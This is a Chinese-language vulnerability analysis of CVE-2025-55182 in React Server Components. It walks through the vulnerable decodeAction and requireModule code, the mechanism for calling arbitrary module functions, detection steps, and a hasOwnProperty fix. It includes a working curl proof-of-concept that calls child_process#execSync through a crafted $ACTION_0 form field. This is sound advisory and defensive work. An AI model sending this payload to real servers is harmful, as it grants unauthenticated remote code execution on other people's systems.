满分漏洞?react2shell?核弹?CVE-2025-55182
字数 1534 2025-12-05 12:06:50
CVE-2025-55182 React服务器端原型污染漏洞分析文档
一、漏洞概述
CVE-2025-55182是React框架中的一个高危漏洞,CVSS评分达到10.0。该漏洞存在于React服务器组件(RSC)的实现中,允许攻击者通过原型污染实现远程代码执行。
漏洞类型
- 原型污染漏洞
- 可能导致远程代码执行(RCE)
影响版本
- React服务器组件相关版本
二、环境搭建与复现
2.1 环境准备
# 克隆PoC仓库
git clone https://github.com/ejpir/CVE-2025-55182-poc
cd CVE-2025-55182-poc
# 安装依赖
npm install
# 启动漏洞服务器(端口3002)
npm start
2.2 漏洞验证
# 执行PoC验证漏洞
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["ifconfig"]}'
三、漏洞技术分析
3.1 漏洞入口点
漏洞核心存在于decodeAction函数中,该函数负责处理FormData并执行动态路由分发。
3.2 关键函数分析
3.2.1 decodeAction函数
exports.decodeAction = function (body, serverManifest) {
var formData = new FormData(),
action = null;
body.forEach(function (value, key) {
key.startsWith("$ACTION_")
? key.startsWith("$ACTION_REF_")
? ((value = "$ACTION_" + key.slice(12) + ":"),
(value = decodeBoundActionMetaData(body, serverManifest, value)),
(action = loadServerReference(serverManifest, value.id, value.bound)))
: key.startsWith("$ACTION_ID_") &&
((value = key.slice(11)),
(action = loadServerReference(serverManifest, value, null)))
: formData.append(key, value);
});
return null === action
? null
: action.then(function (fn) {
return fn.bind(null, formData);
});
};
功能分析:
- 解析FormData数据
- 识别
$ACTION_REF_或$ACTION_ID_字段 - 调用
loadServerReference加载服务器引用
3.2.2 loadServerReference函数
function loadServerReference(bundlerConfig, id, bound) {
var serverReference = resolveServerReference(bundlerConfig, id);
bundlerConfig = preloadModule(serverReference);
return bound
? Promise.all([bound, bundlerConfig]).then(function (_ref) {
_ref = _ref[0];
var fn = requireModule(serverReference);
return fn.bind.apply(fn, [null].concat(_ref));
})
: bundlerConfig
? Promise.resolve(bundlerConfig).then(function () {
return requireModule(serverReference);
})
: Promise.resolve(requireModule(serverReference));
}
关键点:
- 调用
resolveServerReference解析模块ID - 使用
requireModule获取函数引用 - 通过
fn.bind.apply绑定参数
3.2.3 resolveServerReference函数
function resolveServerReference(bundlerConfig, id) {
var name = "",
resolvedModuleData = bundlerConfig[id];
if (resolvedModuleData) name = resolvedModuleData.name;
else {
var idx = id.lastIndexOf("#");
-1 !== idx &&
((name = id.slice(idx + 1)),
(resolvedModuleData = bundlerConfig[id.slice(0, idx)]));
if (!resolvedModuleData)
throw Error('Could not find the module "' + id + '" in the React Server Manifest.');
}
return resolvedModuleData.async
? [resolvedModuleData.id, resolvedModuleData.chunks, name, 1]
: [resolvedModuleData.id, resolvedModuleData.chunks, name];
}
解析逻辑:
- 使用
#分割ID(如vm#runInThisContext) - 模块部分:
vm - 函数名称部分:
runInThisContext - 返回metadata数组:
[moduleId, chunks, exportName]
3.2.4 漏洞核心 - requireModule函数
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
if (4 === metadata.length && "function" === typeof moduleExports.then)
if ("fulfilled" === moduleExports.status)
moduleExports = moduleExports.value;
else throw moduleExports.reason;
return "*" === metadata[2]
? moduleExports
: "" === metadata[2]
? moduleExports.__esModule
? moduleExports.default
: moduleExports
: moduleExports[metadata[2]]; // ❌❌ 漏洞点:没有hasOwnProperty检查!
}
漏洞分析:
metadata[2]完全由攻击者控制- 直接通过
moduleExports[metadata[2]]访问属性 - 缺少
hasOwnProperty安全检查 - 允许访问模块原型链上的任意属性
3.3 攻击原理
攻击者可以构造特殊的ID格式:模块名#函数名
- 示例:
child_process#execSync - 模块解析:
child_process模块 - 函数调用:
execSync函数 - 参数绑定:通过
bound数组传递
四、漏洞检测方案
4.1 进程检测
# 检测React服务器进程
ps aux | grep "node --conditions react-server"
4.2 白盒检测
- 检查项目依赖中是否包含
react-dom - 确认是否使用React服务器组件功能
- 审查服务器清单(serverManifest)配置
4.3 黑盒检测
- 扫描可能存在RSC端点的应用
- 尝试发送特制的
$ACTION_REF_请求 - 监控异常响应行为
五、防护措施
5.1 立即措施
-
升级React版本
npm update react react-dom -
输入验证
- 对
$ACTION_REF_和$ACTION_ID_字段进行严格验证 - 限制可调用的模块和函数白名单
- 对
-
WAF规则
- 拦截包含特殊模式
模块名#函数名的请求 - 监控异常的进程创建行为
- 拦截包含特殊模式
5.2 代码修复
在requireModule函数中添加安全检查:
// 修复后的代码
function requireModule(metadata) {
// ... 原有代码 ...
return "*" === metadata[2]
? moduleExports
: "" === metadata[2]
? moduleExports.__esModule
? moduleExports.default
: moduleExports
: Object.prototype.hasOwnProperty.call(moduleExports, metadata[2]) // ✅ 安全检查
? moduleExports[metadata[2]]
: null; // 或抛出错误
}
六、影响评估
6.1 风险等级
- CVSS评分: 10.0(严重)
- 攻击复杂度: 低
- 权限要求: 无需认证
- 影响范围: 可控的RCE
6.2 实际影响
- 国内使用React服务器组件的应用相对较少
- PoC需要特定的服务器清单配置才能成功利用
- 但存在风险的应用可能面临严重威胁
七、总结
CVE-2025-55182暴露了React框架在服务器端组件实现中的安全隐患。虽然实际利用需要特定条件,但漏洞本身的严重性不容忽视。开发人员应及时更新依赖,并加强对用户输入的验证机制。
关键要点:
- 漏洞本质是原型污染导致的任意函数调用
- 影响React服务器组件实现
- 修复重点是添加正确的属性访问检查
- 实际风险取决于具体的应用配置和使用场景